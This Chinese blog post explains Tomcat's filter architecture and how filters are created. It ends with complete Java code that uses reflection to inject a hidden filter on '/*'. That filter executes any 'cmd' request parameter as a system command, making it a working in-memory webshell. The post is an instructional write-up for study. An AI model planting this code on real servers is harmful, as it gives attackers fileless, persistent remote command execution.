Java安全之基于Tomcat的Filter型内存马

写在前面

现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马。而对于内存马的支持也是五花八门,甚至各大公司都有自己魔改的webshell管理工具,下面就从Tomcat开始学习内存马部分内容。

内存马主要分为以下几类:

servlet-api类

  • filter型
  • servlet型

spring类

  • 拦截器
  • controller型

Java Instrumentation类

  • agent型

Tomcat基础知识

首先简单说下Filter

Filter:自定义Filter的实现,需要实现javax.servlet.Filter下的init()、doFilter()、destroy()三个方法。

  • 启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
  • 每一次请求时都只调用方法doFilter()进行处理;
  • 停止服务器时调用destroy()方法,销毁实例。

web.xml对于三大组件的加载顺序是:listener -> filter -> servlet

再看一下Tomcat的架构

其中涉及到很多Tomcat的组件

  • Server:

    Server,即指的WEB服务器,一个Server包括多个Service。

  • Service:

    Service的作用是在ConnectorEngine外面包了一层(可看上图),把它们组装在一起,对外提供服务。一个Service可以包含多个Connector,但是只能包含一个Engine,其中Connector的作用是从客户端接收请求,Engine的作用是处理接收进来的请求。后面再来细节分析Service。

  • Connector:

    Tomcat有两个典型的Connector,一个直接侦听来自browser的http请求,一个侦听来自其它WebServer的请求Coyote Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求

    Coyote JK2 Connector 在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求。

  • Engine:

    Engine下可以配置多个虚拟主机,每个虚拟主机都有一个域名,当Engine获得一个请求时,它把该请求匹配到某个Host上,然后把该请求交给该Host来处理,Engine有一个默认虚拟主机,当请求无法匹配到任何一个Host上的时候,将交给该默认Host来处理。

  • Host:

    代表一个虚拟主机,每个虚拟主机和某个网络域名Domain Name相匹配

    每个虚拟主机下都可以部署(deploy)一个或者多个Web App,每个Web App对应于一个Context,有一个Context path,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理匹配的方法是“最长匹配”,所以一个path==""的Context将成为该Host的默认Context,所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。

  • Context:

    一个Context对应于一个Web Application,一个WebApplication由一个或者多个Servlet组成

    Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类,当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到,则执行该类,获得请求的回应,并返回。

Connector

Connector也被叫做连接器。Connector将在某个指定的端口上来监听客户的请求,把从socket传递过来的数据,封装成Request,传递给Engine来处理,并从Engine处获得响应并返回给客户端。

Engine:最顶层容器组件,其下可以包含多个 Host。
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
Wrapper:一个 Wrapper 代表一个 Servlet。

ProtocolHandler

Connector中,包含了多个组件,Connector使用ProtocolHandler处理器来处理请求。不同的ProtocolHandler代表不同连接类型。ProtocolHandler处理器可以用看作是协议处理统筹者,通过管理其他工作组件实现对请求的处理。ProtocolHandler包含了三个非常重要的组件,这三个组件分别是:

- Endpoint: 负责接受,处理socket网络连接
- Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request
- Adapter:负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了 ServletRequest接口、ServletResponse接口的对象。

请求经Connector处理完毕后,传递给Container进行处理。

Container

Container容器则是负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块。

Container 处理请求,内部是使用Pipeline-Value管道来处理的,每个 Pipeline 都有特定的 Value(BaseValue)BaseValue 会在最后执行。上层容器的BaseValue 会调用下层容器的管道,FilterChain 其实就是这种模式,FilterChain相当于 Pipeline,每个 Filter 相当于一个 Value。4 个容器的BaseValve 分别是StandardEngineValveStandardHostValveStandardContextValve 和StandardWrapperValve。每个Pipeline 都有特定的Value ,而且是在管道的最后一个执行,这个Valve 叫BaseValveBaseValve 是不可删除的。

过滤链:在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以针对某一个 URL 进行拦截。如果多个 Filter 程序都对同一个 URL 进行拦截,那么这些 Filter 就会组成一个Filter 链(也称

过滤器链)。

如果做过Java web开发的话,不难发现在配置Filter 的时候,假设执行完了就会来到下一个Filter 里面,如果都FilterChain.doFilter进行放行的话,那么这时候才会执行servlet内容。原理如上。

整体的执行流程,如下图:

ServletContext

javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。这个是Servlet中的概念,ServletContext的方法中有addFilteraddServletaddListener方法,即添加FilterServletListener

获取ServletContext的方法:

this.getServletContext();
this.getServletConfig().getServletContext();

ApplicationContext

org.apache.catalina.core.ApplicationContext

对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。这里的ApplicationContext类似于Servlet API中的ServletContext,在addFilteraddServletaddListener方法。

StandardContext

Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。

一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)

以上内容摘抄自:https://www.cnblogs.com/nice0e3/p/14622879.html

Filter Chain与Filter创建分析

因为本文主要是实现一个Filter型的内存马,所以需要在内存中动态注册一个恶意的filter来实现内存shell,这其中就涉及到Filter Chain(过滤链)的实现以及Filter执行的先后顺序问题,所以先创建一个普通的Filter来看一下在Tomcat中的处理流程。

先创建一个Filter,配置路由,在doFilter处下断点debug

@WebFilter("/demo")
public class demoFilter implements Filter { @Override
public void init(FilterConfig filterConfig) throws ServletException { } @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("UTF-8");
servletResponse.setCharacterEncoding("UTF-8");
System.out.println("Filter run start......");
filterChain.doFilter(servletRequest,servletResponse); //让我们的请求继续走,如果不写,程序到这里就被拦截停止。后面还有其他过滤器,需要把这次的req和resp传给后面的Filter
System.out.println("Filter run stop......"); } @Override
public void destroy() { }
}

一般开发写的filter都会有filterChain.doFilter(servletRequest,servletResponse);,让filter继续往后走,保证过滤链不会在这里中断,我们跟入进去,在catalina.jar!/org/apache/catalina/core/ApplicationFilterChain.class#doFilter方法中先做了判断Globals.IS_SECURITY_ENABLED,该值判断是否设置了SecurityManager,默认未开启,跳入else中internalDoFilter方法

在internalDoFilter方法中,先通过filterConfig.getFilter()方法获取到filter实例,之后走到该filter实例中的dofilter方法,也就是filer chain中,通过dofilter方法可以按顺序层层迭代及获取已经注册的filter实例并调用执行filter中的dofilter方法,来实现一个过滤链。

也就是说当我们存在一个可执行任意代码的点,我们在动态注册好恶意的filter后可以通过下面这条链来进入我们恶意的filter#doFilter()方法中执行代码,调用过程如下:

filterChain.doFilter()
this.internalDoFilter()
filter.doFilter()

那后面就是找如何调用这里的filterChain.doFilter,回溯调用栈,在catalina.jar!/org/apache/catalina/core/StandardWrapperValve.class#invoke方法中,调用了filterChain.doFilter方法

浏览整个invoke方法,在上面发现通过ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);将客户端输入的request、StandardWrapper wrapperServlet servlet 作为参数传入createFilterChain方法创建了过滤链(FilterChain)

跟入ApplicationFilterFactory.createFilterChain方法,在其中通过拿到StandardContext上下文获取到FilterMapsFilterMaps中保存了我们注册好的Filter

继续往下看,之后就是遍历上面拿到的FilterMaps,并对其进行判断,当前请求与请求的url和本次迭代拿到的filter匹配时,并根据本次迭代的Filter名称在StandardContext中也能找到相应的FilterConfig对象(在 FilterConfig中主要存放 FilterDef 和 Filter对象等信息),那么就会将该FilterConfig添加到Filterchain中。

简单提一下matchDispacher方法中的参数dispatcher:

dispatcher 表示在过滤用户的请求时,过滤什么类型的请求?Forward,Request,Include,Error,Async,一般web就是Request。

那么现在调用过程如下:

StandardWrapperValve.invoke()
ApplicationFilterFactory.createFilterChain()
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
filterChain.addFilter(filterConfig)
filterChain.doFilter()
this.internalDoFilter()
filter.doFilter()

贴一张宽字节的图

Filter创建流程

以平常开发的流程为例的话,一般都是在web.xml中注册,将url和filter类进行绑定从而创建filter。

从代码方面注册可以通过StandardContext入手,StandardContext会加载web.xml中的配置来创建Servlet、Filter

其中包含了3个有关filter的属性

private Map<String, ApplicationFilterConfig> filterConfigs = new HashMap();
private Map<String, FilterDef> filterDefs = new HashMap();
private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();

内存马实现

那根据参考文章的话,只需要拿到StandardContext并设置好这三个属性值即可。

尝试构造

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef; import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Map; @WebServlet("/demo2")
public class FilterMemshell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
final ServletContext servletContext = req.getServletContext();
Field appctx = null;
try {
appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); String FilterName = "FilterMemshell";
Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterconfigs = (Map) configs.get(standardContext); if (filterconfigs.get(FilterName) == null){
Filter filter = new Filter(){ @Override
public void init(FilterConfig filterConfig) throws ServletException { } @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter("cmd");
if (cmd!=null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
int len;
while ((len = bufferedInputStream.read())!=-1){
servletResponse.getWriter().write(len);
}
} } @Override
public void destroy() { }
}; //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o); //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance(); o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1); //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
org.apache.catalina.core.ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterconfigs.put(FilterName,filterConfig);
resp.getWriter().write("Success"); } } catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} } @Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req, resp);
}
}

Reference

https://mp.weixin.qq.com/s?__biz=Mzk0NDE4MTI2MQ==&mid=2247483745&idx=1&sn=2eee1ad5d99ca62aaf9b714b2889d16d&chksm=c329d803f45e51156db26193b12d4df5029bc1bfbf92fd1b974642625bacfa5994d31c54acfa&mpshare=1&scene=23&srcid=1121XCymMnw4n2ISEAeXg2Sd&sharer_sharetime=1637504898246&sharer_shareid=01a960f2575be8671c5eb7e1febc8690%23rd

https://xz.aliyun.com/t/7388#toc-2

http://wjlshare.com/archives/1529

https://www.cnblogs.com/nice0e3/p/14622879.html

Java安全之基于Tomcat的Filter型内存马的更多相关文章

  1. 6. 站在巨人的肩膀学习Java Filter型内存马

    本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...

  2. Java Filter型内存马的学习与实践

    完全参考:https://www.cnblogs.com/nice0e3/p/14622879.html 这篇笔记,来源逗神的指点,让我去了解了内存马,这篇笔记记录的是filter类型的内存马 内存马 ...

  3. Java安全之基于Tomcat实现内存马

    Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...

  4. Java安全之基于Tomcat的通用回显链

    Java安全之基于Tomcat的通用回显链 写在前面 首先看这篇文还是建议简单了解下Tomcat中的一些概念,不然看起来会比较吃力.其次是回顾下反射中有关Field类的一些操作. * Field[] ...

  5. 议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马

    无文件落地Agent型内存马植入 可行性分析 使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com) 首先, ...

  6. JavaAgent型内存马基础

    Java Instrumentation ​ java Instrumentation指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序.这种监测和协助包括但不 ...

  7. 【免杀技术】Tomcat内存马-Filter

    Tomcat内存马-Filter型 什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述 Filter加载流程分析 tomcat启动后正常情况下对于Filter的处理过 ...

  8. tomcat内存马原理解析及实现

    内存马 简介 ​ Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ...

  9. 简单学习java内存马

    看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧 前置知识 本次主要看的是tomcat的内存马,所以前置知识有下列 1.tomcat结构,tomc ...

随机推荐

  1. Java字符串的初始化与比较

    Java字符串的初始化与比较 简单的总结:直接赋值而不是使用new关键字给字符串初始化,在编译时就将String对象放进字符串常量池中:使用new关键字初始化字符串时,是在堆栈区存放变量名和内容:字符 ...

  2. 使用vxe table组件时,edit-render配置$select',选中option后关闭cell的激活状态,显示选中option的value问题

    在我的项目中使用vxe table组件时,edit-render配置{name: '$select', options: [{label:"脉搏",value:"maib ...

  3. Linux 清空日志的五种方法

    VIM 是linux下一款优秀的编辑器,但是上手难度略大,网络上可以找到的教程很多,快捷键也非常多,一时很难记住. 本文换一种思路,就是根据平时自己的常用需要,去反查VIM如何操作的,再记录下来,这样 ...

  4. Python技法-序列拆分

    Python中的任何序列(可迭代的对象)都可以通过赋值操作进行拆分,包括但不限于元组.列表.字符串.文件.迭代器.生成器等. 元组拆分 元组拆分是最为常见的一种拆分,示例如下: p = (4, 5) ...

  5. cf1082D Maximum Diameter Graph(构造+模拟+细节)

    QWQ不得不说 \(cf\)的\(edu\ round\)出这种东西 有点太恶心了 题目大意:给你\(n\)个点,告诉你每个点的最大度数值(也就是说你的度数要小于等于这个),让你构造一个无向图,使其满 ...

  6. Java(26)集合一Collection

    来源:季沐测试笔记 原文地址:https://www.cnblogs.com/testero/p/15228419.html 博客主页:https://www.cnblogs.com/testero ...

  7. Windows内核开发-9-32位和64位的区别

    Windows内核开发-9-32位和64位的区别 32位的应用程序可以完美再64位的电脑上运行,而32位的内核驱动无法再64位的电脑上运行,或者64位的驱动无法在32位的应用程序上运行.这是为什么呢. ...

  8. NX Open 切削层加载

    UF_CUT_LEVELS_load Loads the current cut levels for the specified operation into the data structure ...

  9. 【UE4 设计模式】状态模式 State Pattern

    概述 描述 允许一个对象在其内部状态改变时改变它的行为,对象看起来似乎修改了它的类. 其别名为状态对象(Objects for States),状态模式是一种对象行为型模式. 有限状态机(FSMs) ...

  10. 如何使用远程工具连接Linux服务器

    大家好,今天我想和大家分享一下Linux如何连接远程控制工具我们都知道,Linux是著名的开源服务器操作系统,而在运维工程师的实际工作当中,我们不大可能时时刻刻都在服务器本地操作.因此这时,我们要用远 ...